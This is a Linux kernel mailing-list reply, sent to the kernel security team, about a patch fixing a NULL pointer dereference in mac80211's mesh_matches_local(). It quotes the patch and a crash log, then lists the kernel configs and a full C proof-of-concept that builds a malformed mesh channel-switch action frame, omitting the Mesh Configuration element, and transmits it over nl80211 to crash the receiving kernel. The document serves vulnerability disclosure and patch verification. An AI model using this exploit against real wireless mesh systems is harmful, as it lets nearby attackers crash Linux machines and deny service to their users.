public inbox for linux-wireless@vger.kernel.org
 help / color / mirror / Atom feed
From: Xiang Mei <xmei5@asu.edu>
To: security@kernel.org
Cc: netdev@vger.kernel.org, johannes@sipsolutions.net,
	 linux-wireless@vger.kernel.org, bestswngs@gmail.com
Subject: Re: [PATCH net] wifi: mac80211: fix NULL deref in mesh_matches_local()
Date: Tue, 17 Mar 2026 21:41:17 -0700	[thread overview]
Message-ID: <k6lgszcsjftoc46jrpt6vtwmzxuzzfawrnujwilmxibqcmqb7a@4r4darslq6zo> (raw)
In-Reply-To: <20260318034244.2595020-1-xmei5@asu.edu>

On Tue, Mar 17, 2026 at 08:42:44PM -0700, Xiang Mei wrote:
> mesh_matches_local() unconditionally dereferences ie->mesh_config to
> compare mesh configuration parameters. When called from
> mesh_rx_csa_frame(), the parsed action-frame elements may not contain a
> Mesh Configuration IE, leaving ie->mesh_config NULL and triggering a
> kernel NULL pointer dereference.
> 
> The other two callers are already safe:
>   - ieee80211_mesh_rx_bcn_presp() checks !elems->mesh_config before
>     calling mesh_matches_local()
>   - mesh_plink_get_event() is only reached through
>     mesh_process_plink_frame(), which checks !elems->mesh_config, too
> 
> mesh_rx_csa_frame() is the only caller that passes raw parsed elements
> to mesh_matches_local() without guarding mesh_config. An adjacent
> attacker can exploit this by sending a crafted CSA action frame that
> includes a valid Mesh ID IE but omits the Mesh Configuration IE,
> crashing the kernel.
> 
> The captured crash log:
> 
> Oops: general protection fault, probably for non-canonical address ...
> KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007]
> Workqueue: events_unbound cfg80211_wiphy_work
> [...]
> Call Trace:
>  <TASK>
>  ? __pfx_mesh_matches_local (net/mac80211/mesh.c:65)
>  ieee80211_mesh_rx_queued_mgmt (net/mac80211/mesh.c:1686)
>  [...]
>  ieee80211_iface_work (net/mac80211/iface.c:1754 net/mac80211/iface.c:1802)
>  [...]
>  cfg80211_wiphy_work (net/wireless/core.c:426)
>  process_one_work (net/kernel/workqueue.c:3280)
>  ? assign_work (net/kernel/workqueue.c:1219)
>  worker_thread (net/kernel/workqueue.c:3352)
>  ? __pfx_worker_thread (net/kernel/workqueue.c:3385)
>  kthread (net/kernel/kthread.c:436)
>  [...]
>  ret_from_fork_asm (net/arch/x86/entry/entry_64.S:255)
>  </TASK>
> 
> This patch adds a NULL check for ie->mesh_config at the top of
> mesh_matches_local() to return false early when the Mesh Configuration
> IE is absent.
> 
> Fixes: 2e3c8736820b ("mac80211: support functions for mesh")
> Reported-by: Weiming Shi <bestswngs@gmail.com>
> Signed-off-by: Xiang Mei <xmei5@asu.edu>
> ---
>  net/mac80211/mesh.c | 3 +++
>  1 file changed, 3 insertions(+)
> 
> diff --git a/net/mac80211/mesh.c b/net/mac80211/mesh.c
> index 28624e57aa499..8fdbdf9ba2a9e 100644
> --- a/net/mac80211/mesh.c
> +++ b/net/mac80211/mesh.c
> @@ -79,6 +79,9 @@ bool mesh_matches_local(struct ieee80211_sub_if_data *sdata,
>  	 *   - MDA enabled
>  	 * - Power management control on fc
>  	 */
> +	if (!ie->mesh_config)
> +		return false;
> +
>  	if (!(ifmsh->mesh_id_len == ie->mesh_id_len &&
>  	     memcmp(ifmsh->mesh_id, ie->mesh_id, ie->mesh_id_len) == 0 &&
>  	     (ifmsh->mesh_pp_id == ie->mesh_config->meshconf_psel) &&
> -- 
> 2.43.0
>

Thanks for your attention for this bug. 

The following information could help you to reproduce the bug:

Configs:

```
CONFIG_WIRELESS=y
CONFIG_CFG80211=y
CONFIG_MAC80211=y
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_HWSIM=y
CONFIG_RFKILL=y
```

To reproduce the crash, I attached the poc to this email:

```c
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>

#define BUF_SIZE 4096
#define MESH_ID "meshpoc"
#define MESH_FREQ 2412
#define WLAN_EID_CHANNEL_SWITCH 37
#define WLAN_EID_MESH_ID 114

struct nl_req {
        struct nlmsghdr nlh;
        struct genlmsghdr genl;
        char buf[BUF_SIZE];
};

static uint16_t seq;

static void die(const char *s) { perror(s); exit(1); }

static void nla_put(struct nlmsghdr *n, uint16_t type, const void *d, size_t l)
{
        struct nlattr *a = (void *)n + NLMSG_ALIGN(n->nlmsg_len);
        a->nla_type = type;
        a->nla_len = NLA_HDRLEN + l;
        if (d && l) memcpy((void *)a + NLA_HDRLEN, d, l);
        n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + NLA_ALIGN(a->nla_len);
}

static void nla_put_u32(struct nlmsghdr *n, uint16_t t, uint32_t v)
{ nla_put(n, t, &v, 4); }

static void nla_put_flag(struct nlmsghdr *n, uint16_t t)
{ nla_put(n, t, NULL, 0); }

static int genl_send(int fd, struct nlmsghdr *nlh)
{
        struct sockaddr_nl a = { .nl_family = AF_NETLINK };
        char resp[BUF_SIZE];

        nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
        nlh->nlmsg_seq = ++seq;
        nlh->nlmsg_pid = getpid();

        if (sendto(fd, nlh, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0)
                return -errno;
        ssize_t n = recv(fd, resp, sizeof(resp), 0);
        if (n < 0) return -errno;
        struct nlmsghdr *h = (void *)resp;
        if (h->nlmsg_type == NLMSG_ERROR)
                return ((struct nlmsgerr *)NLMSG_DATA(h))->error;
        return 0;
}

static int genl_resolve(int fd, const char *name)
{
        struct nl_req req = {};
        struct nlmsghdr *nlh = &req.nlh;
        struct genlmsghdr *genl = NLMSG_DATA(nlh);
        struct sockaddr_nl a = { .nl_family = AF_NETLINK };
        char resp[BUF_SIZE];

        nlh->nlmsg_type = GENL_ID_CTRL;
        nlh->nlmsg_flags = NLM_F_REQUEST;
        nlh->nlmsg_seq = ++seq;
        nlh->nlmsg_pid = getpid();
        nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*genl));
        genl->cmd = CTRL_CMD_GETFAMILY;
        genl->version = 1;
        nla_put(nlh, CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);

        if (sendto(fd, nlh, nlh->nlmsg_len, 0, (void *)&a, sizeof(a)) < 0)
                return -errno;

        ssize_t n = recv(fd, resp, sizeof(resp), 0);
        if (n < 0) return -errno;
        struct nlmsghdr *h = (void *)resp;
        if (h->nlmsg_type == NLMSG_ERROR)
                return ((struct nlmsgerr *)NLMSG_DATA(h))->error;

        struct genlmsghdr *gh = NLMSG_DATA(h);
        int rem = h->nlmsg_len - NLMSG_LENGTH(sizeof(*gh));
        struct nlattr *at;
        for (at = (void *)gh + GENL_HDRLEN; rem >= (int)sizeof(*at);
             rem -= NLA_ALIGN(at->nla_len), at = (void *)at + NLA_ALIGN(at->nla_len))
                if (at->nla_type == CTRL_ATTR_FAMILY_ID)
                        return *(uint16_t *)((void *)at + NLA_HDRLEN);
        return -ENOENT;
}

static void get_mac(const char *ifname, uint8_t mac[6])
{
        struct ifreq ifr = {};
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        if (fd < 0) die("socket");
        snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
        if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0) die("SIOCGIFHWADDR");
        memcpy(mac, ifr.ifr_hwaddr.sa_data, 6);
        close(fd);
}

static void if_down(const char *ifname)
{
        struct ifreq ifr = {};
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        if (fd < 0) return;
        snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
        ioctl(fd, SIOCGIFFLAGS, &ifr);
        ifr.ifr_flags &= ~IFF_UP;
        ioctl(fd, SIOCSIFFLAGS, &ifr);
        close(fd);
}

static void if_up(const char *ifname)
{
        struct ifreq ifr = {};
        int fd = socket(AF_INET, SOCK_DGRAM, 0);
        if (fd < 0) die("socket");
        snprintf(ifr.ifr_name, IFNAMSIZ, "%s", ifname);
        ioctl(fd, SIOCGIFFLAGS, &ifr);
        ifr.ifr_flags |= IFF_UP;
        if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) die("SIOCSIFFLAGS");
        close(fd);
}

/* Set interface type to MESH_POINT */
static int set_mesh_type(int fd, int nl80211, int ifindex)
{
        struct nl_req req = {};
        req.nlh.nlmsg_type = nl80211;
        req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
        req.genl.cmd = NL80211_CMD_SET_INTERFACE;
        nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
        nla_put_u32(&req.nlh, NL80211_ATTR_IFTYPE, NL80211_IFTYPE_MESH_POINT);
        return genl_send(fd, &req.nlh);
}

/* Join a mesh network */
static int join_mesh(int fd, int nl80211, int ifindex)
{
        struct nl_req req = {};
        req.nlh.nlmsg_type = nl80211;
        req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
        req.genl.cmd = NL80211_CMD_JOIN_MESH;
        nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
        nla_put(&req.nlh, NL80211_ATTR_MESH_ID, MESH_ID, strlen(MESH_ID));
        nla_put_u32(&req.nlh, NL80211_ATTR_WIPHY_FREQ, MESH_FREQ);
        return genl_send(fd, &req.nlh);
}

/*
 * Build the malformed CSA action frame:
 *   - Includes Mesh ID IE (passes the mesh_id_len + memcmp check)
 *   - Omits Mesh Configuration IE (elems->mesh_config stays NULL)
 *   -> mesh_matches_local() dereferences NULL -> kernel crash
 */
static size_t build_bad_frame(uint8_t *buf, const uint8_t da[6],
                              const uint8_t sa[6])
{
        uint8_t *p = buf;
        size_t idlen = strlen(MESH_ID);
        memset(buf, 0, 256);

        /* 802.11 mgmt header — action frame */
        *(uint16_t *)p = htole16(0x00d0); p += 2;
        p += 2;
        memcpy(p, da, 6); p += 6;
        memcpy(p, sa, 6); p += 6;
        memcpy(p, sa, 6); p += 6;
        p += 2;

        /* Spectrum management: channel switch */
        *p++ = 0; *p++ = 4;

        /* Channel Switch IE */
        *p++ = WLAN_EID_CHANNEL_SWITCH; *p++ = 3;
        *p++ = 0; *p++ = 1; *p++ = 1;

        /* Mesh ID IE — matches victim */
        *p++ = WLAN_EID_MESH_ID; *p++ = idlen;
        memcpy(p, MESH_ID, idlen); p += idlen;

        /* Mesh Config IE intentionally OMITTED */
        return p - buf;
}

/* Send raw frame via NL80211_CMD_FRAME */
static int tx_frame(int fd, int nl80211, int ifindex, void *frame, size_t len)
{
        struct nl_req req = {};
        req.nlh.nlmsg_type = nl80211;
        req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct genlmsghdr));
        req.genl.cmd = NL80211_CMD_FRAME;
        nla_put_u32(&req.nlh, NL80211_ATTR_IFINDEX, ifindex);
        nla_put_u32(&req.nlh, NL80211_ATTR_WIPHY_FREQ, MESH_FREQ);
        nla_put(&req.nlh, NL80211_ATTR_FRAME, frame, len);
        nla_put_flag(&req.nlh, NL80211_ATTR_DONT_WAIT_FOR_ACK);
        return genl_send(fd, &req.nlh);
}

int main(void)
{
        uint8_t da[6], sa[6], frame[256];
        int fd, nl80211, ret, idx0, idx1;

        printf("[*] mesh_matches_local() NULL deref PoC\n");

        fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
        if (fd < 0) die("socket");
        struct sockaddr_nl local = { .nl_family = AF_NETLINK, .nl_pid = getpid() };
        if (bind(fd, (void *)&local, sizeof(local)) < 0) die("bind");

        nl80211 = genl_resolve(fd, "nl80211");
        if (nl80211 < 0) { fprintf(stderr, "nl80211 not found\n"); return 1; }

        idx0 = if_nametoindex("wlan0");
        idx1 = if_nametoindex("wlan1");
        if (!idx0 || !idx1) {
                fprintf(stderr, "wlan0/wlan1 not found. Need mac80211_hwsim radios=2\n");
                return 1;
        }

        /* Step 1: Set both interfaces to mesh mode */
        printf("[*] configuring mesh interfaces\n");
        if_down("wlan0");
        if_down("wlan1");
        usleep(200000);

        ret = set_mesh_type(fd, nl80211, idx0);
        if (ret) { fprintf(stderr, "set wlan0 mesh: %d\n", ret); return 1; }
        ret = set_mesh_type(fd, nl80211, idx1);
        if (ret) { fprintf(stderr, "set wlan1 mesh: %d\n", ret); return 1; }

        if_up("wlan0");
        if_up("wlan1");

        /* Step 2: Join mesh */
        ret = join_mesh(fd, nl80211, idx0);
        if (ret) { fprintf(stderr, "join wlan0: %d\n", ret); return 1; }
        ret = join_mesh(fd, nl80211, idx1);
        if (ret) { fprintf(stderr, "join wlan1: %d\n", ret); return 1; }

        printf("[*] mesh joined on %d MHz\n", MESH_FREQ);
        sleep(1);

        /* Step 3: Send malformed frame */
        get_mac("wlan0", da);
        get_mac("wlan1", sa);
        printf("[*] victim  %02x:%02x:%02x:%02x:%02x:%02x\n",
               da[0], da[1], da[2], da[3], da[4], da[5]);
        printf("[*] attacker %02x:%02x:%02x:%02x:%02x:%02x\n",
               sa[0], sa[1], sa[2], sa[3], sa[4], sa[5]);

        size_t flen = build_bad_frame(frame, da, sa);
        printf("[*] sending malformed CSA frame (%zu bytes)\n", flen);

        ret = tx_frame(fd, nl80211, idx1, frame, flen);
        if (ret) { fprintf(stderr, "tx failed: %d\n", ret); return 1; }

        printf("[*] sent — check dmesg for null-ptr-deref in mesh_matches_local\n");
        sleep(3);
        return 0;
}
```

The intended crash was attached in the commit message. Please let me know
if you have any questions for the patch and poc.

Thanks,
Xiang


      reply	other threads:[~2026-03-18  4:41 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-03-18  3:42 [PATCH net] wifi: mac80211: fix NULL deref in mesh_matches_local() Xiang Mei
2026-03-18  4:41 ` Xiang Mei [this message]

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=k6lgszcsjftoc46jrpt6vtwmzxuzzfawrnujwilmxibqcmqb7a@4r4darslq6zo \
    --to=xmei5@asu.edu \
    --cc=bestswngs@gmail.com \
    --cc=johannes@sipsolutions.net \
    --cc=linux-wireless@vger.kernel.org \
    --cc=netdev@vger.kernel.org \
    --cc=security@kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox